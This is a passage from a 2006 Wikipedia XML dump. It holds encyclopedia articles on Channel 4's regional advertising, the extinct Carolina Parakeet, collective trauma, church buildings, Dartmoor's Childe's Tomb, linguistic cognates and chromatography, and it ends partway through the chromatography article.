Unlike the many regions of [[BBC One]] and [[ITV1]], and the national versions of [[BBC Two]], Channel 4's only regional variation is its advertising.  In fact, Channel 4 operates six demographically-crafted versions, with identical programming apart from the advertisements: London &amp; the South East , the South West, Birmingham, the North and N. Ireland, and the East and East Midlands. These are also carried as six [http://www.lyngsat.com/packages/skyuk.html satellite channels].

Channel 4 is also extensively viewed in the Republic of Ireland through signal overspill from Northern Ireland and it is also carried on the major urban cable networks owned by NTL and Chorus. More people can potentially see Channel 4 in the Republic of Ireland than in Northern Ireland. As a result many advertisers utilise Channel 4 in Northern Ireland to target viewers on both sides of the border on an 'All Ireland' basis. Close to 70% of homes in the Republic can receive Channel 4.

==See also==
* [[List of British television channels]]
* [[The List of Channel 4 programames]]

==External links==
* http://www.channel4.com/
* http://www.filmfour.com/
* [http://media.guardian.co.uk/channel4/0,12225,752247,00.html ''Media Guardian'' special report on Channel 4]
*[http://tgabber.mine.nu/stuff/promo.htm Channel 4 Swearing ad] '''WARNING''': this clip includes strong language.


[[Category:Channel Four|*]]
[[Category:Television channels in the United Kingdom]]

[[fr:Channel 4]]
[[sv:Channel 4]]</text>
    </revision>
  </page>
  <page>
    <title>Carolina Parakeet</title>
    <id>6322</id>
    <revision>
      <id>41183702</id>
      <timestamp>2006-02-25T16:47:31Z</timestamp>
      <contributor>
        <username>Sengkang</username>
        <id>179360</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Carolina Parakeet
| status = {{StatusExtinct|when=[[1918]]}}
| image = Brd CarPar Audubon.jpg
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[bird|Aves]]
| ordo = [[Psittaciformes]]
| familia = [[parrot|Psittacidae]]
| genus = '''''Conuropsis'''''
| genus_authority = [[Tommaso Salvadori|Salvadori]], 1891
| species = '''''C. carolinensis'''''
| binomial = ''Conuropsis carolinensis''
| binomial_authority = ([[Carolus Linnaeus|Linneaus]], [[1758]])
}}

[[Image:Karolinasittich_01.jpg|thumb|right|300px|Mounted specimen of Conuropsis carolinensis, Museum Wiesbaden, Germany]]
The '''Carolina Parakeet''' (''Conuropsis carolinensis'') was the only [[parrot]] species native to the eastern [[United States]]. It was found from the [[Ohio River |Ohio Valley]] to the [[Gulf of Mexico]], and lived in old forests along rivers. It was the only extinct species at the time classified in [[genus]] '''''Conuropsis'''''.

The Carolina Parakeet died out because of a number of different threats. To make space for more agricultural land, large areas of forest were cut down, taking away its living space. The colorful feathers (green body, yellow head, and red around the bill) were in demand as decorations in ladies' hats, and the birds were kept as pets. Even though the birds bred easily in captivity, little was done by owners to increase the population of tamed birds.  Finally, they were killed in large numbers because farmers considered them a pest, although many farmers valued them for controlling invasive [[cocklebur]]s.

A factor that contributed to their extinction was the unfortunate flocking behavior that led them to return immediately to a location where some of the birds had just been killed.  This led to even more being shot by hunters as they gathered about the wounded and dead members of the flock.

The last wild specimen was killed in Okeechobee County in [[Florida]] in [[1913]], and the last captive bird died at the [[Cincinnati]] Zoo in [[1918]]. This was the male specimen &quot;Incas,&quot; who died within a year of his mate &quot;Lady Jane.&quot; 

In 1937, a Carolina Parakeet was sighted in the Okefenokee swamp of Georgia. The bird was recorded on film. However, the Audobon Society's analyzation of the film said that it probably wasn't a Carolina Parakeet. Another location that reports were made of this bird after 1918 was Okeechobee County in Florida.

The Louisiana subspecies of the Carolina Parakeet was slightly different in color to the parent species and went extinct in much the same way.

About 700 skins are housed in museums around the world.

''See also'': [[Extinct birds]]

==External links==
* [http://www.ncmoa.org/collections/highlights/american/before1850/carolina_lrg.shtml The Carolina Parrot from John James Audubon's Birds of America]

[[Category:Extinct birds]]

[[de:Karolinasittich]]
[[fr:Conure à tête jaune]]
[[pt:Periquito da Carolina]]</text>
    </revision>
  </page>
  <page>
    <title>Collective trauma</title>
    <id>6324</id>
    <revision>
      <id>36820104</id>
      <timestamp>2006-01-26T18:23:49Z</timestamp>
      <contributor>
        <ip>203.214.111.235</ip>
      </contributor>
      <text xml:space="preserve">A '''collective trauma''' is a psychological effect on an entire society. Traumatic events that emotionally touch nearly every member of said society will often induce a collective trauma.  As a result of such trauma, often [[medium|media]], [[politics|politician]]s and, in some extreme instances, the general public, will start looking for [[scapegoat]]s.  Collective traumas often give rise to [[conspiracy theory|conspiracy theories]].

In hindsight, collective traumas will often be [[watershed]]s of history and signify or initiate times of change in the society affected.

Well known collective traumas include: The [[John F. Kennedy]] [[assassination]] in the [[United States]], the [[Estonia disaster]] in Sweden and various others.

The destruction of the [[World Trade Center]] in the [[September 11, 2001 Terrorist Attack]] was expected to induce a severe collective trauma in US society.  While much of the country, especially around [[New York]] were shocked, studies have found that incidents of [[suicide]] and [[clinical depression|depression]] did not noticeably increase.

Collective traumas have been shown to play a key role in group [[identity (social science)|identity]] formation (see: [[Gestalt_psychology|Law of Common Fate]]).  During [[World War II]], a US submarine came under several hours of [[depth charge]] attack by a Japanese surface vessel until the ship became convinced the submarine had somehow escaped.  Psychological studies later showed that crewmen transferred to the submarine were never accepted as part of the [[team]].  Later, US naval policy was changed so that after events of such psychological trauma, the crew would be dispersed to new assignments.
[[Category:Psychology]]</text>
    </revision>
  </page>
  <page>
    <title>Church</title>
    <id>6325</id>
    <revision>
      <id>41673696</id>
      <timestamp>2006-02-28T23:57:39Z</timestamp>
      <contributor>
        <ip>65.211.22.242</ip>
      </contributor>
      <comment>/* Etymology */</comment>
      <text xml:space="preserve">:''This article is about the Christian buildings of worship. For other uses of the word, see [[Church (disambiguation)]].''
{{christianity}}
A '''church building''' (or simply '''church''') is a building used in [[Christianity|Christian]] worship.  See also [[altar]], [[altar rails]], [[apse]], [[confessional]], [[dome]], [[lych gate]], [[nave]], [[narthex]], [[pew]], [[pulpit]], [[sanctuary]].

==Etymology==
The word ''church'' is derived through [[Middle English|Middle]] and [[Old English language|Old English]] ''cirice, circe'' from the [[Greek language|Greek]] ''κυριακον'' &quot;Lord's house&quot;. However, most English versions of the [[New Testament]] use the word ''church'' to translate  ''[[ecclesia]]'', in Greek ''[[Ecclesia (ancient Athens)|ἐκκλησία]]'', literally &quot;the called out&quot;, meaing a gathering of people. The [[Scots language|Scots]] and [[Scottish English]] word ''[[kirk]]'' has a related [[etymology]] and is a [[cognate]].

In English, the word can be used in reference to a gathering of people for a religious meeting but is sometimes used to refer to a building or group of buildings. It is also used to refer to a denomination that places the leadership of all congregations in a central location, such as the &quot;Roman Catholic Church&quot;; in this context it is usually capitalized. It can also be used in an institutional sense to refer to all churches, such as &quot;the church today&quot;.

The Bible states in Ephesians 4:11-12&quot;...he gave some, apostles; and some, prophets; and some evangelists; and some, pastors and teachers; for the perfecting of the saints...&quot; While some may state that a church is wherever two or three are gathered, biblically a church is a called out body with a structured system of pastoral authority.

Although the Christian Bible says that the church is actually the body of believers, in Jewish times, the temple at Jerusalem held the presence of God in a place called the Holy of Holies. After the death and resurrection of Jesus Christ, the Bible says that the Holy Spirit (the presence of God) dwells within each believer.[[Image:Stanford University Quad Memorial Church.JPG|right|thumb|250px|Stanford Memorial Church]]

== Origins of Christian places of worship ==
The architecture of Christian worship space grew out of the regular meetings of the followers of Christianity in [[house church|private houses]] and [[synagogue]]s, and occasionally in [[catacomb]]s when necessary.  When either the size of the community outgrew the space or the complexity of the uses of the space outpaced the architectural adaptation of houses, buildings began to be built specifically for worship. This became much more feasible and common when [[Constantine I of the Roman Empire|Constantine]] stopped the Roman persecution of Christians by issuing the [[Edict of Milan]] in 313.

=== In the first century ===
The first Christians were, like [[Jesus]], [[Judaism|Jews]] resident in Palestine who worshipped on occasion in the [[Temple in Jerusalem]] and weekly in local synagogues.  Temple worship was a ritual involving sacrifice, occasionally including the sacrifice of animals in atonement for sin, offered to [[Yahweh]].  The [[New testament]] includes many references to Jesus visiting the Temple, the first time as an infant with his parents.

The early history of the synagogue is controverted, but it seems to be an institution developed for public Jewish worship during the [[Babylonian captivity of Judah|Babylonian captivity]] when the Jews did not have access to the Jerusalem Temple for ritual sacrifice.  Instead, to give a rough summary, they developed a daily and weekly service of readings from the [[Torah]] or the prophets followed by commentary.  This could be carried out in a house if the attendance was small enough, and in many towns of the [[Diaspora]] that was the case.  In others more elaborate architectural settings developed, sometimes by converting a house and sometimes by converting a previously public building.  The minimum requirements seem to have been a meeting room with adequate seating, a case for the Torah scrolls, and a raised platform for the reader and preacher.  

[[Image:The Église des Réformés in Marseille.jpg|thumb|left|The ''Église des Réformés'' in [[Marseille]].]]

Jesus himself participated in this sort of service as a reader and commentator (see [[Gospel of Luke]] 4: 16-24) and his followers probably remained worshippers in synagogues in some cities.  However, following the destruction of the [[Temple in Jerusalem]] in [[70]], the new Christian movement and Judaism increasingly parted ways. The Church became overwhelmingly Gentile sometime in the second century. 

For the history of how services take place within a church, see [[worship]] or do a search on any particular [[religious denomination]] that you might be interested in.

== Early examples of church architecture ==
[[Image:Lärbro church at Gotland.jpg|right|thumb||Lärbro church at Gotland]]The Syrian city of [[Dura-Europos]] on the West bank of the Euphrates was an outpost town between the [[Roman Empire|Roman]] and [[Parthian empire|Parthian]] empires.  During a siege by Parthian troops in A.D. 257 the buildings in the outermost blocks of the city grid were partially destroyed and filled with rubble to reinforce the [[city wall]]. Thus were preserved and securely dated the earliest decorated church and a [[synagogue]] decorated with extensive wall paintings.  Both had been converted from earlier private buildings.

The church at Dura Europos has a special room dedicated for baptisms with a large [[baptismal font]].

A common architecture for churches is the shape of a cross (a long central rectangle, with side rectangles, and a rectangle in front for the altar space or sanctuary). These churches also often have a dome or other large vaulted space in the interior to represent or draw attention to the heavens. Other common shapes for churches include a circle, to represent eternity, or an octagon or similar star shape, to represent the church's bringing light to the world. Another common feature is the spire, a tall tower on the &quot;west&quot; end of the church or over the crossing.

==See also==
[[Image:Église Collégiale Sainte Marthe (Tarascon).jpg|thumb|St Martha's, in [[Tarascon]].]]
* [[Separation of church and state]]
* [[Hagia Sophia]]
* [[Eucharist]]
* [[Baptism]]
* [[Liturgy]]
* [[Nicene Creed]]
* [[Apostles' Creed]]
* [[List of tallest church towers]]
* [[List of churches]]

* [[Places of worship]]

==Compare==
* [[Basilica]]
* [[Cathedral]]
* [[Monastery]]
* [[Temple]]
* [[Chapel]]
* [[Parish]]
* [[Particular church]]
* [[House church]]
* [[Stave church]]
* [[Church in a pub]]
* [[Storefront church]]
* [[Double Church]]

==External links==
*[http://www.goarch.org/access/Companion_to_Orthodox_Church/art_and_architecture.html Orthodox Art and Architecture]
*[http://www.soca.cjb.net The Syrian Orthodox Church]
*[http://st-takla.org/Coptic-church-1.html The Coptic Orthodox Church of Egypt]
*[http://www.churchaudiosecrets.com Church Audio Secrets Training Guide]
*[http://www.wikichristian.org/index.php?title=Church Church at WikiChristian]

[[Category:Churches|*]]
[[Category:Christianity]]

[[bg:Църква]]
[[cs:Kostel]]
[[da:Kirke (bygning)]]
[[de:Kirchengebäude]]
[[et:Kirik (pühakoda)]]
[[es:Iglesia]]
[[eo:Eklezio]]
[[fr:Église (édifice)]]
[[id:Gereja]]
[[it:Chiesa]]
[[he:&amp;#1499;&amp;#1504;&amp;#1505;&amp;#1497;&amp;#1497;&amp;#1492;]]
[[hu:Egyház]]
[[ko:교회]]
[[la:Ecclesia]]
[[nl:Kerk]]
[[nds:Kark]]
[[ja:&amp;#25945;&amp;#20250;]]
[[no:Kirke]]
[[nn:Kyrkje]]
[[pl:Ko&amp;#347;ci&amp;#243;&amp;#322;]]
[[pt:Igreja]]
[[sco:Kirk]]
[[simple:Church]]
[[sv:Kyrka]]
[[zh:&amp;#25945;&amp;#22530;]]</text>
    </revision>
  </page>
  <page>
    <title>Childe's Tomb</title>
    <id>6326</id>
    <revision>
      <id>18954837</id>
      <timestamp>2005-07-16T12:41:15Z</timestamp>
      <contributor>
        <username>RobotE</username>
        <id>273237</id>
      </contributor>
      <minor />
      <comment>robot  Adding: nl</comment>
      <text xml:space="preserve">'''Childe's Tomb''' is located on the south-east edge of [[Foxtor Mires]], c.500 metres north of [[Fox Tor]] on [[Dartmoor]], in the [[United Kingdom]]. It is approximately  3 feet 4 inches (1 m) tall and 1 foot 8 inches (0.5 m) at the crosspiece. 

The [[Ordnance Survey]] [[grid reference]] for Childe's Tomb is:  626 703.
          
Legend has it that the cross was erected over the [[kistvaen]] (burial chamber) of [[Childe the Hunter]]. 

The cross has its base in a socket stone, resting on granite blocks over the chamber. The whole is surrounded by a circle of granite stones set up on their edge, in the fashion of a number of kistvaens on the moor. This raises the total height of the cross to 7 feet. 

The tomb was vandalised in [[1812]] by [[Thomas Windeatt]] who was responsible for taking many of the stones when building Fox Tor Farm. It is believed that some stones were used to make a [[clapper bridge]] across the River Swincombe.

The site was repaired in the [[1880s]] by [[Fearnley Tanner]] as one of the first acts of the [[Dartmoor Preservation Association]]. 

Childe the Hunter was Ordulf, son of Ordgar, who was the [[Anglo-Saxon]] Earl of [[Devon]] in the [[11th Century]]. The name 'Childe' is derived from the word ''Cild''  meaning 'Young Lord'.

Legend has it that Childe was in a party hunting on the moor when they were caught in some changeable weather. Childe became separated from the main party and was lost. In order to save himself from dying of exposure, he killed his horse, disembowelled it and crept inside the warm carcass for shelter. He nevertheless froze to death, but before he died, he wrote a note to the effect that whoever should find him and bury him in their church should inherit his Plymstock estate.

[[William Crossing]] quotes [[Tristram Risdon]] who relates that the original tomb bore the following inscription:
 
&quot;They fyrste that fyndes and bringes mee to my grave,
The priorie of Plimstoke they shall have&quot;

He was found by the monks of [[Tavistock]], who started to carry his body back to their abbey. However, they got to hear of a plot to ambush them by the  people of Plymstock, at a bridge over the [[River Tavy]] which they would have to cross. They took a detour and built a new bridge over Tavy, just outside of Tavistock. They were successful in burying the body in the grounds of Tavistock Abbey and inherited his Plymstock estate. 

The first account of this story is to be found in a survey undertaken by Thomas Risden in [[1630]]:

&quot;It is left us by tradition that one Childe of Plimstoke, a man of fair possessions, having no issue, ordained, by his will, that wheresoever he should happen to be buried, to that church his lands should belong. It so fortuned, that he riding to hunt in the forest of Dartmore, being in pursuit of his game, casually lost his company, and his way likewise. The season then being so cold, and he so benumed therewith, as he was enforced to kill his horse, and embowelled him, to creep into his belly to get heat; which not able to preserve him, was there frozen to death; and so found, was carried by Tavistoke men to be buried in the church of that abbey; which was so secretly done but the inhabitants of Plymstoke had knowledge thereof; which to prevent, they resorted to defend the carriage of the corpse over the bridge, where, they conceived, necessity compelled them to pass. But they were deceived by guile; for the Tavistoke men forthwith built a slight bridge, and passed over at another place without resistance, buried the body, and enjoyed the lands; in memory whereof the bridge beareth the name of Guilebridge to this day.&quot; (Survey of Devon, pp 198,199. Edit 1811).
[[Category:Dartmoor]]

[[nl:Childe's Tomb]]</text>
    </revision>
  </page>
  <page>
    <title>Cognate</title>
    <id>6328</id>
    <revision>
      <id>41346693</id>
      <timestamp>2006-02-26T19:22:09Z</timestamp>
      <contributor>
        <username>Alexander 007</username>
        <id>493689</id>
      </contributor>
      <minor />
      <comment>removed expansion upon Latin and Romance languages which is out of place unless you go into other languages in the lead as well</comment>
      <text xml:space="preserve">{{unreferenced}} 

'''Cognates''' are words in two or more languages that have a common origin.  

Examples of cognates are the words ''night'' ([[English language|English]]), ''nuit'' ([[French language|French]]), ''Nacht'' ([[German language|German]] and [[Dutch Language|Dutch]]), ''nicht'' ([[Scots language|Scots]]), ''nat'' ([[Danish language|Danish]]) ''noc'' ([[Czech language|Czech]], [[Polish language|Polish]]), ''noch'' ([[Russian language|Russian]]), ''nox'' ([[Latin]]), ''nakti-'' ([[Sanskrit]]), ''natë'' ([[Albanian language|Albanian]]), ''noche'' ([[Spanish language|Spanish]]),  ''nos'' ([[Welsh language|Welsh]]), ''noite'' ([[Portuguese language|Portuguese]]),  ''noapte'' ([[Romanian language|Romanian]]) and  ''naktis'' ([[Lithuanian language|Lithuanian]]), all meaning ''night'' and all deriving from [[Proto-Indo-European language|Proto-Indo-European]] ([[Proto-Indo-European language|PIE]]) ''*nekwt-'', &quot;night.&quot;  Another Indo-European example is ''star'' (English), ''str'' (Sanskrit), ''étoile'' (French) ''star'' ([[Sinhala]]), ''aster'' ([[Greek language|Greek]]), ''stella'' (Latin, [[Italian language|Italian]]), ''stea'' (Romanian), ''stairno'' ([[Gothic language|Gothic]]), ''Stern'' (German), ''starn'' (Scots), ''stjerne'' ([[Norwegian language|Norwegian]]), ''setare'' ([[Persian language|Persian]]), ''seren'' (Welsh), ''steren'' ([[Cornish language|Cornish]]), ''ster'' (Dutch and [[Afrikaans]]), ''estel'' ([[Catalan]]), ''estrella'' (Spanish), ''estrela'' (Portuguese) and ''estêre'' ([[Kurdish language|Kurdish]]), from PIE ''*ster-'', &quot;star&quot;.

[[Hebrew language|Hebrew]] ''shalom'' and [[Arabic language|Arabic]] ''salaam'' are also cognates deriving from a common [[Semitic languages|Semitic]] root. 

Cognates can exist within the same language.  For example, English ''ward'' and ''guard'' (&lt;PIE ''*wer-'', &quot;to perceive, watch out for&quot;) are cognate as are ''shirt'' and ''skirt'' (&lt;PIE ''*sker-'', &quot;to cut&quot;).  In some cases, one of the cognate pairs has an ultimate source in another language related to English, while the other one is native, as happened with many loanwords from [[Old Norse language|Old Norse]] (which was mutually intelligible with [[Old English language|Old English]]) borrowed when the [[Viking]]s owned part of England. Sometimes, both cognates come from other languages, often the same one but at different times. For example, the word ''chief'' comes from the Middle French ''chef'', and its modern pronunciation preserves the Middle French consonant sound. The word ''chef'' was borrowed from the same source centuries later, by which time the consonant had changed to a &quot;sh&quot;-sound in French.  Such words are said to be [[etymological twins]].

Cognates may often be less easily recognised than the above examples and authorities sometimes differ in their interpretations of the evidence. The English word ''milk'' is clearly a cognate of German ''Milch'' and of [[Russian language|Russian]] ''moloko'' (&lt;PIE ''*melg-'', &quot;to milk&quot;). On the other hand, French ''lait'' and [[Spanish language|Spanish]] ''leche'' (both meaning &quot;milk&quot;) are less obviously cognates of [[Greek language|Greek]] ''galaktos'' (genitive form of ''gala'', milk) (&lt;''*g(a)lag-'', ''galakt-'').  

Cognates need not have the same meaning: ''dish'' ([[English language|English]]) and ''Tisch'' (&quot;table&quot;, [[German language|German]]), or ''starve'' ([[English language|English]]) and ''sterben'' (&quot;die&quot;, [[German language|German]]), or ''head'' ([[English language|English]]) and ''chef'' (&quot;chief, head&quot;, [[French language|French]]), serve as examples as to how cognate terms may [[semantic drift|diverge in meaning]] as languages develop separately, eventually becoming [[false friends]].

In addition to having separate meanings, cognates through processes of linguistic change may no longer resemble each other phonetically: ''cow'' and ''beef'' both derive from the same Indo-European root ''*g''{{PIE|ʷ}}''ou''-, ''cow'' having developed through the [[Germanic family|Germanic language family]] while ''beef'' has arrived in English from the Italo-Romance family descent.

Cognates may thus also arise through borrowings into languages. So the resemblance between [[English language|English]] ''to pay'' and [[French language|French]] ''payer'' originates through English borrowing ''to pay'' from [[Norman language|Norman]] which, like French, had derived its word from Gallo-Romance.

==False cognates==
{{main|False cognate}}
[[False cognate]]s are words that are commonly thought to be related (have a common origin) whereas linguistic examination reveals they are unrelated. Thus, for example, on the basis of superficial similarities one might suppose that the Latin verb ''habere'' and German ''haben'', both meaning 'to have', are cognates. However, an understanding of the way words in the two languages evolve from [[Proto-Indo-European language|Proto-Indo-European]] (PIE) roots shows that they cannot be cognate (see for example [[Grimm's law]]).  German ''haben'' (like English ''have'') in fact comes from PIE *kap, 'to grasp', and its real cognate in Latin is ''capere'', 'to seize, grasp, capture'.  Latin ''habere'', on the other hand, is from PIE *ghabh, 'to give, to receive', and hence cognate with English ''give'' and German ''geben''.

The similarity of words between languages is ''not'' enough to demonstrate that the words are related to each other, in much the same way that facial resemblance does not determine whether two people are genetically related. Over the course of hundreds and thousands of years, words may change their sound completely. Thus, for example, English ''five'' and [[Sanskrit]] ''pança'' are cognates, while English ''over'' and [[Hebrew language|Hebrew]] ''a'var'' are not, and neither are English ''dog'' and [[Mbabaram language|Mbabaram]] ''dog''.

Contrast this with [[false friend]]s, which frequently ''are'' cognate.

==See also==
*[[Historical-comparative linguistics]]
*[[Paronym]]

[[Category:Historical linguistics]]

[[af:Kognaat]]
[[bg:Когнат]]
[[es:Cognado]]
[[gl:Cognado]]</text>
    </revision>
  </page>
  <page>
    <title>Chromatography</title>
    <id>6329</id>
    <revision>
      <id>41989510</id>
      <timestamp>2006-03-03T01:54:37Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>Revert to revision 41778769 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Chromatography''' is a family of [[analytical chemistry]] techniques for the [[separation of mixtures]].  It involves passing the sample, a mixture which contains the [[analyte]], in the &quot;mobile phase&quot;, often in a stream of [[solvent]], through the &quot;stationary phase.&quot; The stationary phase retards the passage of the components of the sample. When components pass through the system at different rates they become separated in time, like runners in a mass-start foot race.  Each component has a characteristic time of passage through the system, called a &quot;retention time.&quot;  Chromatographic separation is achieved when the retention time of the [[analyte]] differs from that of other components in the sample.

A '''chromatograph''' takes a chemical mixture carried by [[liquid]] or [[gas]] and separates it into its component parts as a result of differential distributions of the [[solute]]s as they flow around or over a stationary liquid or solid phase. Various techniques for the separation of complex mixtures rely on the differential affinities of substances for a gas or liquid mobile medium and for a stationary [[absorption|absorbing]] medium through which they pass; such as [[paper]], [[gelatin]], [[alumina]] or [[silica]].

''Analytical chromatography'' is used to determine the identity and concentration of molecules in a mixture.  ''Preparative chromatography'' is used to purify larger quantities of a molecular species.  Most of the following refers to analytical chromatography.

== History == 

It was the [[Russia]]n [[botanist]]  [[Mikhail Tsvet]] (Mikhail Semyonovich Tsvet) who invented the first chromatography technique in [[1901]] during his research on [[chlorophyll]]. He used a liquid-adsorption column containing [[calcium carbonate]] to separate plant [[pigment]]s. The method was described on December 30, 1901 at the XI Congress of Naturalists and Doctors (XI съезд естествоиспытателей и врачей) in St. Petersburg. The first printed description was in [[1903]], in the Proceedings of the [[Warsaw]] Society of Naturalists, section of biology. He first used the term ''chromatography'' in print in [[1906]] in his two papers about chlorophyll in the German botanical journal, ''Berichte der Deutschen Botanischen Gesellschaft''.  In [[1907]] he demonstrated his chromatograph for the German Botanical Society. The phenomenon of precipitational separation was observed before Tsvet as well. His contribution was turning the phenomenon into the method of scientific analysis.

The Greek word ''chroma'' in ''chroma''tography means ''color'' in English and refers both to Tsvet's name that is literally translated from Russian as ''color'' and to the color of the plant pigments he was separating at that time.

In [[1952]] [[Archer John Porter Martin]] and [[Richard Laurence Millington Synge]] were awarded the Chemistry Nobel Prize &quot;for their invention of partition chromatography&quot;. [http://www.nobel.se/chemistry/laureates/1952/]

The technology of chromatography advanced rapidly throughout the 20th century.  Researchers found that the principles underlying Tsvet's chromatography could be applied in many different ways, giving rise to the different varieties of chromatography described below.  Simultaneously, advances continually improved the technical performance of chromatography, allowing increasingly similar molecules to be resolved.

== Chromatography theory ==
Chromatography is a separation method that exploits the differences in partitioning behavior between a '''mobile phase''' and a '''stationary phase''' to separate the components in a mixture. Components of a mixture may be interacting with the stationary phase based on charge, relative solubility or adsorption. There are two theories of chromatography, the plate and rate theories.

=== Retention ===
The retention is a measure of the speed at which a substance moves in a chromatographic system. In continuous development systems like HPLC or GC, where the compounds are eluted with the eluent, the retention is usually measured as the ''retention time'' ''R''&lt;sub&gt;''t''&lt;/sub&gt; or  ''t''&lt;sub&gt;''R''&lt;/sub&gt;, the time between injection and detection. In interrupted development systems like TLC the retention is measured as the ''retention factor'' ''R''&lt;sub&gt;''f''&lt;/sub&gt;, the run length of the compound divided by the run length of the eluent front:

: &lt;math&gt;R_f = \frac{distance\ moved\ by\ compound} {distance\ moved\ by\ eluent}&lt;/math&gt;

The retention of a compound often differs considerably between experiments and laboratories due to variations of the eluent, the stationary phase, temperature, and the setup. It is therefore important to compare the retention of the test compound to that of one or more standard compounds under absolutely identical conditions.

=== Plate theory ===
The plate theory of chromotography was developed by [[Archer John Porter Martin]] and  [[Richard Laurence Millington Synge]]. The plate theory describes the chromotography system, the mobile and stationary phases, as being in equilibrium. The partition coefficient ''K'' is based on this equilibrium, and is defined by the following equation:

: &lt;math&gt;K = \frac{Concentration\ of\ solute\ in\ stationary\ phase} {Concentration\ of\ solute\ in\ mobile\ phase}&lt;/math&gt;

''K'' is assumed to be independent of concentration, and can change if experimental conditions are changed, for example temperature is increased or decreased. As ''K'' increases, it takes longer for solutes to separate.
For a column of fixed length and flow, the retention time &lt;math&gt;(t_R)&lt;/math&gt; and retention volume &lt;math&gt;(V_r)&lt;/math&gt; can be measured and used to calculate ''K''. 
&lt;!--==Rate theory==--&gt;

== Paper chromatography ==
''See the article [[paper chromatography]]''

[[Image:Cromatography tank.png|thumb|200px|In paper chromatography, chemical interactions with the paper make compounds travel at different rates.]]

&lt;!--Some of this may be moved to the paper chromatography article, now a stub--&gt;
A small spot of solution containing the sample is applied to a strip of ''[[chromatography paper]]'' about one centimeter from the base. This sample is ''adsorbed'' onto the paper. This means that the sample will contact the paper and may form interactions with it. Any substance that will react with (and thus bond to) the paper cannot be measured using this technique. The paper is then dipped in to a suitable [[solvent]] (such as [[ethanol]] or [[water]]) and placed in a sealed container. As the solvent rises through the paper it meets the sample mixture which starts to travel up the paper with the solvent. Different [[chemical compound|compound]]s in the sample mixture travel different distances according to how strongly they interact with the paper. Paper chromatography takes some time and the experiment is usually left to complete for some hours. 

The final ''chromatogram'' can be compared with other known mixture chromatograms to identify sample mixes. ''Two-way paper chromatography'' involves using two solvents and rotating the paper 90&lt;sup&gt;o&lt;/sup&gt; in between. This is useful for separating complex mixtures of similar compounds.

This method is only very rarely employed and has been largely replaced by thin layer chromatography (see below.) It remains a powerful pedagogical tool, however.

== Thin layer chromatography (TLC) ==
[[Image:TLC_black_ink.jpg|thumb|200px|Separation of black ink on a TLC plate.]]
In ''thin layer chromatography'' or ''TLC'' the stationary phase consists of a thin layer of adsorbent like [[silica gel]], [[aluminium oxide|alumina]], or [[cellulose]] on a flat carrier like a [[glass]] plate, a thick aluminum foil, or a plastic sheet. 

The process is similar to paper chromatography with the advantage of faster runs, better separations, and the choice between different adsorbents.
TLC is a standard laboratory method in [[organic chemistry]]. Because of its simplicity and speed TLC is often used for monitoring [[chemical reaction]]s and for the qualitative analysis of reaction products.

TLC plates are made by mixing the adsorbent with a small amount of [[inert]] binder like [[calcium sulfate]] (gypsum) and water, spreading the a thick slurry on the carrier, drying the plate, and activation of the adsorbent by heating in an oven. 
The thickness of the adsorbent layer is typically around 0.1&amp;ndash;0.25&amp;nbsp;mm for analytical purposes and around 1&amp;ndash;2&amp;nbsp;mm for preparative TLC. 

Several methods exists to make colorless spots visible:
* Often a small amount of a [[fluorescent]] dye is added to the adsorbent that allows the visualization of [[UV]] absorbing spots under a [[blacklight]] (&quot;UV&lt;sub&gt;254&lt;/sub&gt;&quot;).
* [[Iodine]] vapors are a general unspecific color reagent.
* Specific color reagents exist into which the TLC plate is dipped or which are sprayed onto the plate.

Once visible, the ''R''&lt;sub&gt;''f''&lt;/sub&gt; values of the spots can be determined.  These values should be the same regardless of the extent of travel of the solvent, and in theory are independent of a single experimental run.  They do depend on the solvent used, and the type of TLC plate.

Thin Layer Chromatography is also used in finding which pigments a plant contains.  By taking extract of the plants cellulose and applying the technique, one can adaquately find the pigments.

It is used to detect pesticide or insecticide residues in food. Thin-layer chromatography is also used in forensics to analyze the dye composition of fibers.

== Column chromatography ==
Column chromatography utilizes a vertical glass column filled with some form of solid support with the sample to be separated placed on top of this support. The rest of the column is filled with a solvent which, under the influence of gravity, moves the sample through the column.  Similarly to other forms of chromatography, differences in rates of movement through the solid medium are translated to different exit times from the bottom of the column for the various elements of the original sample.

[[Image:columnchromatography.gif|thumb|right|400px|A picture of a standard column chromatography and a flash column chromatography setup]]

In 1978, W. C. Stills introduced a modified version of column chromatography called '''flash column chromatography''' (&quot;flash&quot;). The technique is very similar to the traditional column chromatography, except for that the solvent is driven through the column by applying positive pressure.

When applying positive pressure on top of the column, most separations could be performed in less than 20 minutes with improved separations compared to the old method. This makes flash column chromatography the method of choice for most synthetic organic chemists when purifying organic compounds.

In the modern Flash chromatography systems which can be purchased, the glass columns are replaced with pre-packed plastic cartridges. Solvent is pumped through the cartridge, which is much quicker. Systems may also be linked with detectors and fraction collectors providing automation. The introduction of gradient pumps means quicker separations and less solvent usage.

== Gas-liquid chromatography ==
[[Gas-liquid chromatography]] is based on a [[partition equilibrium]] of analyte between a liquid stationary phase and a mobile gas. It is useful for a wide range of non-polar analytes, but poor for thermally labile molecules.

== Ion exchange chromatography ==
Ion exchange chromatography is a column chromatography that uses a charged stationary phase. It is used to separate charged compounds including [[amino acid]]s, [[peptide]]s, and [[protein]]s. The stationary phase is usually an [[ion exchange resin]] that carries charged [[functional group]]s which interact with oppositely charged groups of the compound to be retained:
* Positively charged ion exchanger (''anion exchanger'') interacts with [[anion]]s
* Negatively charged ion exchanger (''cation exchanger'') interacts with [[cation]]s.
Bound compounds can be eluted from the column by [[gradient elution]] or isocratic elution with a change in salt concentration or pH.  Ion exchange chromatography is commonly used to purify proteins using [[Fast protein liquid chromatography|FPLC]].

== Immobilized metal ion affinity chromatography ==
IMAC is a popular and powerful way to purify [[protein]]s. It is based on the specific [[coordinate covalent bond|coordinate covalent binding]] between [[histidine]] or other unique [[amino acid]]s (either naturally present on the surface of the protein or grafted with [[recombinant DNA technology|recombinant DNA techniques]]) and various immobilized metal ions, such as copper, nickel, zinc, or iron.

Salt concentration is increased to produce later fractions.

== High performance liquid chromatography (HPLC) ==
